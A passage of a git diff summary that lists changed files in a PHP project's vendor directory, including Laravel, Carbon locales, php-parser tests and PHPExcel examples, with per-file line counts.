.../Support/NamespacedItemResolver.php | 0 .../src/Illuminate/Support/Pluralizer.php | 0 .../Illuminate/Support/ServiceProvider.php | 0 .../framework/src/Illuminate/Support/Str.php | 0 .../src/Illuminate/Support/composer.json | 0 .../src/Illuminate/Support/helpers.php | 0 .../src/Illuminate/Translation/FileLoader.php | 0 .../Translation/LoaderInterface.php | 0 .../TranslationServiceProvider.php | 0 .../src/Illuminate/Translation/Translator.php | 0 .../src/Illuminate/Translation/composer.json | 0 .../Validation/DatabasePresenceVerifier.php | 0 .../src/Illuminate/Validation/Factory.php | 0 .../Validation/PresenceVerifierInterface.php | 0 .../Validation/ValidationServiceProvider.php | 0 .../src/Illuminate/Validation/Validator.php | 0 .../src/Illuminate/Validation/composer.json | 0 .../Illuminate/View/Compilers/Compiler.php | 0 .../View/Compilers/CompilerInterface.php | 0 .../View/Engines/CompilerEngine.php | 0 .../src/Illuminate/View/Engines/Engine.php | 0 .../View/Engines/EngineInterface.php | 0 .../View/Engines/EngineResolver.php | 0 .../src/Illuminate/View/Engines/PhpEngine.php | 0 .../framework/src/Illuminate/View/Factory.php | 0 .../src/Illuminate/View/FileViewFinder.php | 0 .../framework/src/Illuminate/View/View.php | 0 .../Illuminate/View/ViewFinderInterface.php | 0 .../Illuminate/View/ViewServiceProvider.php | 0 .../src/Illuminate/View/composer.json | 0 .../league/commonmark-ext-table/CHANGELOG.md | 59 + .../.github/ISSUE_TEMPLATE/1_Bug_report.md | 19 + .../ISSUE_TEMPLATE/2_Feature_request.md | 12 + .../ISSUE_TEMPLATE/3_Security_issue.md | 11 + vendor/league/commonmark/CHANGELOG.md | 759 ++ vendor/league/commonmark/bin/commonmark | 0 vendor/mews/captcha/.travis.yml | 13 + vendor/mews/captcha/Makefile | 22 + vendor/mews/captcha/phpunit.xml | 18 + .../Captcha/CaptchaServiceProviderTest.php | 13 + .../captcha/tests/Captcha/CaptchaTest.php | 13 + .../mobiledetectlib/Mobile_Detect.json | 2 +- .../mobiledetectlib/Mobile_Detect.php | 62 +- vendor/mobiledetect/mobiledetectlib/README.md | 30 +- .../mobiledetectlib/composer.json | 2 +- .../mobiledetectlib/docker-compose.yml | 32 +- .../mobiledetectlib/docs/CONTRIBUTING.md | 85 - .../mobiledetectlib/docs/HISTORY.md | 11 - .../mobiledetectlib/docs/ISSUE_TEMPLATE.md | 15 - .../mobiledetectlib/docs/KNOWN_LIMITATIONS.md | 14 - .../mobiledetectlib/export/exportToJSON.php | 67 - .../mobiledetectlib/tests/BasicsTest.php | 510 + .../mobiledetectlib/tests/UA_List.inc.php | 27 + .../mobiledetectlib/tests/UA_List.pending.txt | 1242 ++ .../mobiledetectlib/tests/UserAgentTest.php | 192 + .../mobiledetectlib/tests/VendorsTest_tmp.php | 91 + .../mobiledetectlib/tests/bootstrap.php | 2 + .../mobiledetectlib/tests/phpunit.xml | 28 + .../tests/providers/vendors/AOC.php | 7 + .../tests/providers/vendors/Acer.php | 29 + .../tests/providers/vendors/Alcatel.php | 49 + .../tests/providers/vendors/Allview.php | 11 + .../tests/providers/vendors/Amazon.php | 37 + .../tests/providers/vendors/Apple.php | 31 + .../tests/providers/vendors/Archos.php | 69 + .../tests/providers/vendors/Asus.php | 33 + .../tests/providers/vendors/Blackberry.php | 48 + .../tests/providers/vendors/Dell.php | 15 + .../tests/providers/vendors/Google.php | 24 + .../tests/providers/vendors/HP.php | 21 + .../tests/providers/vendors/HTC.php | 385 + .../tests/providers/vendors/Huawei.php | 34 + .../tests/providers/vendors/LG.php | 37 + .../tests/providers/vendors/Lava.php | 23 + .../tests/providers/vendors/Leader.php | 6 + .../tests/providers/vendors/Lenovo.php | 88 + .../tests/providers/vendors/Mi.php | 27 + .../tests/providers/vendors/Microsoft.php | 77 + .../tests/providers/vendors/Motorola.php | 54 + .../tests/providers/vendors/Mpman.php | 9 + .../tests/providers/vendors/Nexus.php | 23 + .../tests/providers/vendors/Nokia.php | 87 + .../tests/providers/vendors/Onda.php | 13 + .../tests/providers/vendors/Others.php | 592 + .../tests/providers/vendors/Prestigio.php | 12 + .../tests/providers/vendors/Samsung.php | 273 + .../tests/providers/vendors/Sony.php | 91 + .../tests/providers/vendors/SpecialCases.php | 225 + .../tests/providers/vendors/Verizon.php | 12 + .../tests/providers/vendors/Vodafone.php | 13 + .../tests/providers/vendors/ZTE.php | 10 + .../mobiledetectlib/tests/ualist.json | 10510 ++++++++++++++++ .../modstart/modstart-laravel5/composer.json | 3 +- vendor/modstart/modstart/asset/common/base.js | 2 +- .../modstart/modstart/asset/common/editor.js | 2 +- .../modstart/asset/theme/default/style.css | 2 +- .../photoswipe/default-skin/default-skin.css | 0 .../photoswipe/default-skin/default-skin.png | Bin .../photoswipe/default-skin/default-skin.svg | 0 .../photoswipe/default-skin/preloader.gif | Bin .../photoswipe/photoswipe-ui-default.js | 0 .../asset/vendor/photoswipe/photoswipe.css | 0 .../asset/vendor/photoswipe/photoswipe.js | 0 .../asset/vendor/ueditor/dialogs/ai/ai.html | 2 +- .../vendor/ueditor/dialogs/anchor/anchor.html | 2 +- .../dialogs/attachment/attachment.html | 2 +- .../vendor/ueditor/dialogs/audio/audio.html | 2 +- .../dialogs/background/background.html | 2 +- .../dialogs/contentimport/contentimport.html | 2 +- .../ueditor/dialogs/emotion/emotion.html | 2 +- .../ueditor/dialogs/formula/formula.html | 2 +- .../vendor/ueditor/dialogs/help/help.html | 2 +- .../vendor/ueditor/dialogs/image/image.html | 2 +- .../dialogs/insertframe/insertframe.html | 2 +- .../asset/vendor/ueditor/dialogs/internal.js | 2 +- .../vendor/ueditor/dialogs/link/link.html | 2 +- .../ueditor/dialogs/preview/preview.html | 2 +- .../vendor/ueditor/dialogs/scrawl/scrawl.html | 2 +- .../dialogs/searchreplace/searchreplace.html | 2 +- .../ueditor/dialogs/spechars/spechars.html | 2 +- .../ueditor/dialogs/table/edittable.html | 2 +- .../vendor/ueditor/dialogs/table/edittd.html | 2 +- .../vendor/ueditor/dialogs/table/edittip.html | 2 +- .../ueditor/dialogs/template/template.html | 2 +- .../vendor/ueditor/dialogs/video/video.html | 2 +- .../ueditor/dialogs/wordimage/wordimage.html | 2 +- .../asset/vendor/ueditor/ueditor.all.js | 2 +- .../asset/vendor/ueditor/ueditor.config.js | 2 +- .../2015_12_22_213911_create_config.php | 0 .../2015_12_22_215956_create_data.php | 0 .../2015_12_22_215956_create_data_temp.php | 0 .../2018_05_07_000000_modify_data_driver.php | 0 .../2021_01_01_000000_create_admin.php | 0 .../2021_01_01_000000_create_admin_upload.php | 0 ...22_000000_modify_data_temp_path_length.php | 0 .../2022_03_13_000000_data_add_md5.php | 0 .../2022_09_27_000000_data_add_index.php | 0 .../resources/asset/src/common/base.js | 21 + .../resources/asset/src/lib/jqueryLazyload.js | 0 .../asset/src/lib/share-js/css/share.less | 0 .../asset/src/lib/share-js/jquery.share.js | 0 .../asset/src/sui/base/component/form.less | 7 +- .../src/sui/bricks/component/modal/modal.less | 26 +- .../src/svue/components/AudioPlayerButton.vue | 84 +- .../components/webuploader/webuploader.js | 0 .../photoswipe/default-skin/default-skin.css | 0 .../photoswipe/default-skin/default-skin.png | Bin .../photoswipe/default-skin/default-skin.svg | 0 .../photoswipe/default-skin/preloader.gif | Bin .../photoswipe/photoswipe-ui-default.js | 0 .../src/vendor/photoswipe/photoswipe.css | 0 .../asset/src/vendor/photoswipe/photoswipe.js | 0 .../src/vendor/ueditor/dialogs/ai/ai.html | 2 +- .../vendor/ueditor/dialogs/anchor/anchor.html | 2 +- .../dialogs/attachment/attachment.html | 2 +- .../vendor/ueditor/dialogs/audio/audio.html | 2 +- .../dialogs/background/background.html | 2 +- .../dialogs/contentimport/contentimport.html | 2 +- .../ueditor/dialogs/emotion/emotion.html | 2 +- .../ueditor/dialogs/formula/formula.html | 2 +- .../src/vendor/ueditor/dialogs/help/help.html | 2 +- .../vendor/ueditor/dialogs/image/image.html | 2 +- .../dialogs/insertframe/insertframe.html | 2 +- .../src/vendor/ueditor/dialogs/internal.js | 2 +- .../src/vendor/ueditor/dialogs/link/link.html | 2 +- .../ueditor/dialogs/preview/preview.html | 2 +- .../vendor/ueditor/dialogs/scrawl/scrawl.html | 2 +- .../dialogs/searchreplace/searchreplace.html | 2 +- .../ueditor/dialogs/spechars/spechars.html | 2 +- .../ueditor/dialogs/table/edittable.html | 2 +- .../vendor/ueditor/dialogs/table/edittd.html | 2 +- .../vendor/ueditor/dialogs/table/edittip.html | 2 +- .../ueditor/dialogs/template/template.html | 2 +- .../vendor/ueditor/dialogs/video/video.html | 2 +- .../ueditor/dialogs/wordimage/wordimage.html | 2 +- .../asset/src/vendor/ueditor/ueditor.all.js | 46 +- .../src/vendor/ueditor/ueditor.config.js | 6 +- .../hot_fix/laravel5/ListenCommand.php | 0 .../resources/hot_fix/laravel5/Listener.php | 0 .../hot_fix/laravel5/MySqlGrammar.php | 0 .../hot_fix/laravel5/WorkCommand.php | 0 .../resources/hot_fix/laravel5/Worker.php | 0 .../hot_fix/laravel9/MySqlConnector.php | 0 .../src/Admin/Controller/AuthController.php | 34 +- .../src/Admin/Controller/SystemController.php | 2 +- .../modstart/src/Core/Monitor/HttpMonitor.php | 2 +- .../modstart/src/Core/Type/TreeAble.php | 24 - .../modstart/src/Core/Util/AgentUtil.php | 4 +- .../modstart/src/Core/Util/FileUtil.php | 14 + .../modstart/src/Core/Util/LogUtil.php | 5 + .../modstart/src/Core/Util/XKeywordsUtil.php | 14 +- vendor/modstart/modstart/src/Field/Select.php | 4 +- .../modstart/src/Grid/GridFilterScope.php | 0 .../modstart/src/Misc/Laravel/Input.php | 0 .../src/Repository/EloquentRepository.php | 0 .../Repository/Filter/RepositoryFilter.php | 0 .../modstart/src/Repository/Repository.php | 0 .../src/Repository/RepositoryInterface.php | 0 .../modstart/src/Widget/AbstractRawWidget.php | 0 vendor/modstart/modstart/src/Widget/Box.php | 0 .../modstart/src/Widget/ContentBox.php | 0 vendor/modstart/modstart/src/Widget/Nav.php | 0 .../views/core/field/areaChina.blade.php | 26 +- .../views/core/field/select.blade.php | 6 +- .../views/core/field/switchField.blade.php | 8 +- .../modstart/views/core/field/tags.blade.php | 47 - .../views/core/field/values.blade.php | 2 +- .../modstart/views/core/msg/403.blade.php | 0 .../modstart/views/core/msg/404.blade.php | 0 .../modstart/views/core/msg/500.blade.php | 0 .../modstart/views/core/msg/frame.blade.php | 0 .../modstart/views/core/msg/msg.blade.php | 0 .../modstart/views/inc/top-nav.blade.php | 55 - vendor/monolog/monolog/CHANGELOG.md | 432 + vendor/monolog/monolog/composer.json | 4 +- .../src/Monolog/Formatter/JsonFormatter.php | 8 +- .../Monolog/Formatter/NormalizerFormatter.php | 27 +- .../src/Monolog/Handler/MandrillHandler.php | 6 +- .../src/Monolog/Handler/StreamHandler.php | 15 + vendor/mtdowling/cron-expression/CHANGELOG.md | 36 + .../tests/Cron/AbstractFieldTest.php | 86 + .../tests/Cron/CronExpressionTest.php | 414 + .../tests/Cron/DayOfMonthFieldTest.php | 61 + .../tests/Cron/DayOfWeekFieldTest.php | 117 + .../tests/Cron/FieldFactoryTest.php | 43 + .../tests/Cron/HoursFieldTest.php | 75 + .../tests/Cron/MinutesFieldTest.php | 37 + .../tests/Cron/MonthFieldTest.php | 81 + .../tests/Cron/YearFieldTest.php | 37 + vendor/nesbot/carbon/src/Carbon/Lang/af.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/ar.php | 31 + .../carbon/src/Carbon/Lang/ar_Shakl.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/az.php | 40 + vendor/nesbot/carbon/src/Carbon/Lang/bg.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/bn.php | 38 + .../nesbot/carbon/src/Carbon/Lang/bs_BA.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/ca.php | 40 + vendor/nesbot/carbon/src/Carbon/Lang/cs.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/cy.php | 29 + vendor/nesbot/carbon/src/Carbon/Lang/da.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/de.php | 46 + .../nesbot/carbon/src/Carbon/Lang/dv_MV.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/el.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/en.php | 40 + vendor/nesbot/carbon/src/Carbon/Lang/eo.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/es.php | 36 + vendor/nesbot/carbon/src/Carbon/Lang/et.php | 38 + vendor/nesbot/carbon/src/Carbon/Lang/eu.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/fa.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/fi.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/fo.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/fr.php | 40 + vendor/nesbot/carbon/src/Carbon/Lang/gl.php | 24 + vendor/nesbot/carbon/src/Carbon/Lang/gu.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/he.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/hi.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/hr.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/hu.php | 52 + vendor/nesbot/carbon/src/Carbon/Lang/hy.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/id.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/is.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/it.php | 36 + vendor/nesbot/carbon/src/Carbon/Lang/ja.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/ka.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/kk.php | 29 + vendor/nesbot/carbon/src/Carbon/Lang/km.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/ko.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/lt.php | 38 + vendor/nesbot/carbon/src/Carbon/Lang/lv.php | 47 + vendor/nesbot/carbon/src/Carbon/Lang/mk.php | 24 + vendor/nesbot/carbon/src/Carbon/Lang/mn.php | 62 + vendor/nesbot/carbon/src/Carbon/Lang/ms.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/my.php | 37 + vendor/nesbot/carbon/src/Carbon/Lang/ne.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/nl.php | 36 + vendor/nesbot/carbon/src/Carbon/Lang/no.php | 36 + vendor/nesbot/carbon/src/Carbon/Lang/oc.php | 44 + vendor/nesbot/carbon/src/Carbon/Lang/pl.php | 36 + vendor/nesbot/carbon/src/Carbon/Lang/ps.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/pt.php | 31 + .../nesbot/carbon/src/Carbon/Lang/pt_BR.php | 40 + vendor/nesbot/carbon/src/Carbon/Lang/ro.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/ru.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/sh.php | 35 + vendor/nesbot/carbon/src/Carbon/Lang/sk.php | 38 + vendor/nesbot/carbon/src/Carbon/Lang/sl.php | 43 + vendor/nesbot/carbon/src/Carbon/Lang/sq.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/sr.php | 37 + .../nesbot/carbon/src/Carbon/Lang/sr_Cyrl.php | 43 + .../carbon/src/Carbon/Lang/sr_Cyrl_ME.php | 43 + .../carbon/src/Carbon/Lang/sr_Latn_ME.php | 43 + .../nesbot/carbon/src/Carbon/Lang/sr_ME.php | 12 + vendor/nesbot/carbon/src/Carbon/Lang/sv.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/sw.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/th.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/tr.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/uk.php | 40 + vendor/nesbot/carbon/src/Carbon/Lang/ur.php | 24 + vendor/nesbot/carbon/src/Carbon/Lang/uz.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/vi.php | 31 + vendor/nesbot/carbon/src/Carbon/Lang/zh.php | 31 + .../nesbot/carbon/src/Carbon/Lang/zh_TW.php | 31 + vendor/nikic/php-parser/.travis.yml | 32 + vendor/nikic/php-parser/CHANGELOG.md | 151 + vendor/nikic/php-parser/bin/php-parse | 0 vendor/nikic/php-parser/phpunit.xml.dist | 24 + .../test/PhpParser/AutoloaderTest.php | 18 + .../test/PhpParser/Builder/ClassTest.php | 161 + .../test/PhpParser/Builder/FunctionTest.php | 98 + .../test/PhpParser/Builder/InterfaceTest.php | 105 + .../test/PhpParser/Builder/MethodTest.php | 163 + .../test/PhpParser/Builder/NamespaceTest.php | 41 + .../test/PhpParser/Builder/ParamTest.php | 124 + .../test/PhpParser/Builder/PropertyTest.php | 147 + .../test/PhpParser/Builder/TraitTest.php | 47 + .../test/PhpParser/Builder/UseTest.php | 35 + .../test/PhpParser/BuilderFactoryTest.php | 108 + .../test/PhpParser/CodeParsingTest.php | 69 + .../test/PhpParser/CodeTestAbstract.php | 61 + .../php-parser/test/PhpParser/CommentTest.php | 80 + .../php-parser/test/PhpParser/ErrorTest.php | 112 + .../test/PhpParser/Lexer/EmulativeTest.php | 133 + .../php-parser/test/PhpParser/LexerTest.php | 250 + .../test/PhpParser/Node/NameTest.php | 164 + .../PhpParser/Node/Scalar/MagicConstTest.php | 25 + .../test/PhpParser/Node/Scalar/StringTest.php | 61 + .../PhpParser/Node/Stmt/ClassMethodTest.php | 63 + .../test/PhpParser/Node/Stmt/ClassTest.php | 59 + .../PhpParser/Node/Stmt/InterfaceTest.php | 26 + .../test/PhpParser/Node/Stmt/PropertyTest.php | 44 + .../test/PhpParser/NodeAbstractTest.php | 147 + .../test/PhpParser/NodeDumperTest.php | 72 + .../test/PhpParser/NodeTraverserTest.php | 218 + .../NodeVisitor/NameResolverTest.php | 417 + .../test/PhpParser/Parser/MultipleTest.php | 113 + .../test/PhpParser/Parser/Php5Test.php | 14 + .../test/PhpParser/Parser/Php7Test.php | 14 + .../test/PhpParser/ParserFactoryTest.php | 34 + .../php-parser/test/PhpParser/ParserTest.php | 170 + .../test/PhpParser/PrettyPrinterTest.php | 164 + .../test/PhpParser/Serializer/XMLTest.php | 172 + .../test/PhpParser/Unserializer/XMLTest.php | 150 + vendor/nikic/php-parser/test/bootstrap.php | 20 + .../test/code/parser/blockComments.test | 23 + .../php-parser/test/code/parser/comments.test | 100 + .../code/parser/errorHandling/eofError.test | 32 + .../code/parser/errorHandling/recovery.test | 242 + .../test/code/parser/expr/arrayDef.test | 142 + .../test/code/parser/expr/assign.test | 273 + .../test/code/parser/expr/assignNewByRef.test | 39 + .../test/code/parser/expr/cast.test | 72 + .../test/code/parser/expr/clone.test | 13 + .../test/code/parser/expr/closure.test | 142 + .../test/code/parser/expr/comparison.test | 107 + .../test/code/parser/expr/constant_expr.test | 621 + .../test/code/parser/expr/errorSuppress.test | 12 + .../test/code/parser/expr/exit.test | 34 + .../code/parser/expr/fetchAndCall/args.test | 99 + .../parser/expr/fetchAndCall/constFetch.test | 33 + .../expr/fetchAndCall/constantDeref.test | 231 + .../parser/expr/fetchAndCall/funcCall.test | 132 + .../parser/expr/fetchAndCall/newDeref.test | 70 + .../expr/fetchAndCall/objectAccess.test | 145 + .../expr/fetchAndCall/simpleArrayAccess.test | 62 + .../parser/expr/fetchAndCall/staticCall.test | 173 + .../fetchAndCall/staticPropertyFetch.test | 91 + .../test/code/parser/expr/includeAndEval.test | 40 + .../test/code/parser/expr/issetAndEmpty.test | 75 + .../test/code/parser/expr/logic.test | 159 + .../test/code/parser/expr/math.test | 256 + .../php-parser/test/code/parser/expr/new.test | 146 + .../code/parser/expr/newWithoutClass.test | 8 + .../test/code/parser/expr/print.test | 12 + .../test/code/parser/expr/shellExec.test | 46 + .../code/parser/expr/ternaryAndCoalesce.test | 149 + .../expr/uvs/globalNonSimpleVarError.test | 16 + .../code/parser/expr/uvs/indirectCall.test | 481 + .../test/code/parser/expr/uvs/isset.test | 74 + .../test/code/parser/expr/uvs/misc.test | 109 + .../test/code/parser/expr/uvs/new.test | 95 + .../code/parser/expr/uvs/staticProperty.test | 93 + .../test/code/parser/expr/variable.test | 55 + .../code/parser/scalar/constantString.test | 60 + .../test/code/parser/scalar/docString.test | 90 + .../code/parser/scalar/docStringNewlines.test | 61 + .../code/parser/scalar/encapsedString.test | 242 + .../test/code/parser/scalar/float.test | 74 + .../test/code/parser/scalar/int.test | 43 + .../test/code/parser/scalar/invalidOctal.test | 17 + .../test/code/parser/scalar/magicConst.test | 31 + .../code/parser/scalar/unicodeEscape.test | 20 + .../test/code/parser/semiReserved.test | 380 + .../code/parser/stmt/blocklessStatement.test | 112 + .../test/code/parser/stmt/class/abstract.test | 39 + .../code/parser/stmt/class/anonymous.test | 194 + .../code/parser/stmt/class/conditional.test | 33 + .../test/code/parser/stmt/class/final.test | 17 + .../parser/stmt/class/implicitPublic.test | 92 + .../code/parser/stmt/class/interface.test | 36 + .../test/code/parser/stmt/class/modifier.test | 54 + .../test/code/parser/stmt/class/name.test | 71 + .../code/parser/stmt/class/php4Style.test | 50 + .../test/code/parser/stmt/class/simple.test | 155 + .../code/parser/stmt/class/staticMethod.test | 25 + .../test/code/parser/stmt/class/trait.test | 160 + .../test/code/parser/stmt/const.test | 40 + .../test/code/parser/stmt/controlFlow.test | 55 + .../test/code/parser/stmt/declare.test | 60 + .../test/code/parser/stmt/echo.test | 32 + .../test/code/parser/stmt/function/byRef.test | 41 + .../parser/stmt/function/conditional.test | 33 + .../parser/stmt/function/defaultValues.test | 148 + .../parser/stmt/function/returnTypes.test | 52 + .../stmt/function/scalarTypeDeclarations.test | 45 + .../parser/stmt/function/specialVars.test | 51 + .../stmt/function/typeDeclarations.test | 49 + .../code/parser/stmt/function/variadic.test | 110 + .../stmt/function/variadicDefaultValue.test | 6 + .../code/parser/stmt/generator/basic.test | 280 + .../stmt/generator/yieldPrecedence.test | 230 + .../stmt/generator/yieldUnaryPrecedence.test | 48 + .../test/code/parser/stmt/haltCompiler.test | 55 + .../stmt/haltCompilerInvalidSyntax.test | 6 + .../code/parser/stmt/haltCompilerOffset.test | 34 + .../stmt/haltCompilerOutermostScope.test | 8 + .../test/code/parser/stmt/hashbang.test | 26 + .../php-parser/test/code/parser/stmt/if.test | 103 + .../test/code/parser/stmt/inlineHTML.test | 27 + .../test/code/parser/stmt/loop/do.test | 17 + .../test/code/parser/stmt/loop/for.test | 110 + .../test/code/parser/stmt/loop/foreach.test | 148 + .../test/code/parser/stmt/loop/while.test | 25 + .../code/parser/stmt/namespace/alias.test | 168 + .../code/parser/stmt/namespace/braced.test | 42 + .../code/parser/stmt/namespace/groupUse.test | 188 + .../parser/stmt/namespace/groupUseErrors.test | 66 + .../parser/stmt/namespace/invalidName.test | 29 + .../test/code/parser/stmt/namespace/mix.test | 13 + .../test/code/parser/stmt/namespace/name.test | 42 + .../code/parser/stmt/namespace/nested.test | 10 + .../code/parser/stmt/namespace/notBraced.test | 45 + .../stmt/namespace/nsAfterHashbang.test | 22 + .../parser/stmt/namespace/outsideStmt.test | 58 + .../stmt/namespace/outsideStmtInvalid.test | 20 + .../test/code/parser/stmt/switch.test | 73 + .../test/code/parser/stmt/tryCatch.test | 120 + .../code/parser/stmt/tryWithoutCatch.test | 7 + .../test/code/parser/stmt/unset.test | 26 + .../test/code/prettyPrinter/comments.test | 67 + .../prettyPrinter/expr/anonymousClass.test | 27 + .../test/code/prettyPrinter/expr/call.test | 13 + .../test/code/prettyPrinter/expr/closure.test | 18 + .../prettyPrinter/expr/constant_deref.test | 13 + .../code/prettyPrinter/expr/docStrings.test | 86 + .../test/code/prettyPrinter/expr/include.test | 7 + .../code/prettyPrinter/expr/intrinsics.test | 29 + .../test/code/prettyPrinter/expr/list.test | 19 + .../code/prettyPrinter/expr/literals.test | 154 + .../test/code/prettyPrinter/expr/numbers.test | 35 + .../code/prettyPrinter/expr/operators.test | 144 + .../code/prettyPrinter/expr/parentheses.test | 77 + .../prettyPrinter/expr/shortArraySyntax.test | 11 + .../prettyPrinter/expr/stringEscaping.test | 23 + .../test/code/prettyPrinter/expr/uvs.test | 23 + .../code/prettyPrinter/expr/variables.test | 73 + .../test/code/prettyPrinter/expr/yield.test | 46 + .../inlineHTMLandPHPtest.file-test | 52 + .../prettyPrinter/onlyInlineHTML.file-test | 11 + .../test/code/prettyPrinter/onlyPHP.file-test | 16 + .../test/code/prettyPrinter/stmt/alias.test | 20 + .../prettyPrinter/stmt/break_continue.test | 13 + .../test/code/prettyPrinter/stmt/class.test | 53 + .../test/code/prettyPrinter/stmt/const.test | 11 + .../test/code/prettyPrinter/stmt/declare.test | 17 + .../code/prettyPrinter/stmt/do_while.test | 10 + .../test/code/prettyPrinter/stmt/for.test | 28 + .../test/code/prettyPrinter/stmt/foreach.test | 28 + .../stmt/function_signatures.test | 43 + .../stmt/global_static_variables.test | 11 + .../test/code/prettyPrinter/stmt/goto.test | 9 + .../code/prettyPrinter/stmt/groupUse.test | 16 + .../prettyPrinter/stmt/haltCompiler.file-test | 27 + .../test/code/prettyPrinter/stmt/if.test | 16 + .../code/prettyPrinter/stmt/namespaces.test | 50 + .../test/code/prettyPrinter/stmt/switch.test | 35 + .../test/code/prettyPrinter/stmt/throw.test | 7 + .../code/prettyPrinter/stmt/traitUse.test | 25 + .../code/prettyPrinter/stmt/tryCatch.test | 24 + .../test/code/prettyPrinter/stmt/while.test | 10 + .../nikic/php-parser/test_old/run-php-src.sh | 4 + vendor/nikic/php-parser/test_old/run.php | 223 + vendor/paragonie/random_compat/CHANGELOG.md | 290 + vendor/phpoffice/phpexcel/.travis.yml | 29 + .../Chart/Renderer/PHP Charting Libraries.txt | 38 +- .../PHPExcel/Shared/PCLZip/gnu-lgpl.txt | 1008 +- .../Classes/PHPExcel/Shared/PCLZip/readme.txt | 842 +- .../Classes/PHPExcel/locale/pt/br/functions | 816 +- .../Classes/PHPExcel/locale/pt/functions | 816 +- .../Classes/PHPExcel/locale/sv/functions | 816 +- .../Calculations/Database/DAVERAGE.php | 90 + .../Examples/Calculations/Database/DCOUNT.php | 90 + .../Examples/Calculations/Database/DGET.php | 86 + .../Examples/Calculations/Database/DMAX.php | 89 + .../Examples/Calculations/Database/DMIN.php | 89 + .../Calculations/Database/DPRODUCT.php | 87 + .../Examples/Calculations/Database/DSTDEV.php | 90 + .../Calculations/Database/DSTDEVP.php | 90 + .../Examples/Calculations/Database/DVAR.php | 90 + .../Examples/Calculations/Database/DVARP.php | 90 + .../Examples/Calculations/DateTime/DATE.php | 83 + .../Calculations/DateTime/DATEVALUE.php | 76 + .../Examples/Calculations/DateTime/TIME.php | 81 + .../Calculations/DateTime/TIMEVALUE.php | 72 + .../Examples/Calculations/index.php | 51 + .../Examples/Reader/exampleReader01.php | 42 + .../Examples/Reader/exampleReader02.php | 50 + .../Examples/Reader/exampleReader03.php | 51 + .../Examples/Reader/exampleReader04.php | 47 + .../Examples/Reader/exampleReader05.php | 51 + .../Examples/Reader/exampleReader06.php | 54 + .../Examples/Reader/exampleReader07.php | 55 + .../Examples/Reader/exampleReader08.php | 55 + .../Examples/Reader/exampleReader09.php | 71 + .../Examples/Reader/exampleReader10.php | 82 + .../Examples/Reader/exampleReader11.php | 91 + .../Examples/Reader/exampleReader12.php | 94 + .../Examples/Reader/exampleReader13.php | 60 + .../Examples/Reader/exampleReader14.php | 105 + .../Examples/Reader/exampleReader15.php | 71 + .../Examples/Reader/exampleReader16.php | 46 + .../Examples/Reader/exampleReader17.php | 52 + .../Examples/Reader/exampleReader18.php | 50 + .../Examples/Reader/exampleReader19.php | 53 + .../Examples/Reader/sampleData/example1.csv | 4 + .../Examples/Reader/sampleData/example1.tsv | 4 + .../Examples/Reader/sampleData/example1.xls | Bin 0 -> 22528 bytes .../Examples/Reader/sampleData/example2.csv | 223 + .../Examples/Reader/sampleData/example2.xls | Bin 0 -> 36864 bytes .../exampleWorkBookReader01.php | 93 + .../exampleWorkBookReader02.php | 52 + .../exampleWorkBookReader03.php | 80 + .../exampleWorkBookReader04.php | 55 + .../sampleData/example1.xls | Bin 0 -> 20992 bytes .../sampleData/example1.xlsx | Bin 0 -> 9733 bytes .../sampleData/example2.xls | Bin 0 -> 22528 bytes .../phpexcel/Documentation/Examples/index.php | 50 + .../Documentation/FunctionListByCategory.txt | 377 + .../Documentation/FunctionListByName.txt | 381 + .../Functionality Cross-Reference.xls | Bin 0 -> 38912 bytes ...lter Reference developer documentation.doc | Bin 0 -> 636416 bytes ...tion Reference developer documentation.doc | Bin 0 -> 628736 bytes ...umentation - Reading Spreadsheet Files.doc | Bin 0 -> 173568 bytes .../PHPExcel developer documentation.doc | Bin 0 -> 885248 bytes .../assets/ClassDiagrams/Architecture.cd | 51 + .../assets/ClassDiagrams/Architecture.png | Bin 0 -> 16945 bytes .../assets/ClassDiagrams/ClassDiagrams.csproj | 64 + .../ClassDiagrams/ClassDiagrams.csproj.user | 5 + .../assets/ClassDiagrams/ClassDiagrams.sln | 20 + .../assets/ClassDiagrams/Classes/IReader.cs | 15 + .../assets/ClassDiagrams/Classes/IWriter.cs | 15 + .../assets/ClassDiagrams/Classes/PHPExcel.cs | 40 + .../Classes/PHPExcel_IOFactory.cs | 41 + .../Classes/PHPExcel_Reader_Excel2007.cs | 25 + .../Classes/PHPExcel_Reader_Excel5.cs | 63 + .../Classes/PHPExcel_Reader_Serialized.cs | 44 + .../Classes/PHPExcel_Writer_Excel2007.cs | 25 + .../Classes/PHPExcel_Writer_Serialized.cs | 82 + .../assets/ClassDiagrams/Classes/Worksheet.cs | 14 + .../ClassDiagrams/Exports/Architecture.png | Bin 0 -> 15122 bytes .../ClassDiagrams/Exports/ReaderWriter.png | Bin 0 -> 46094 bytes 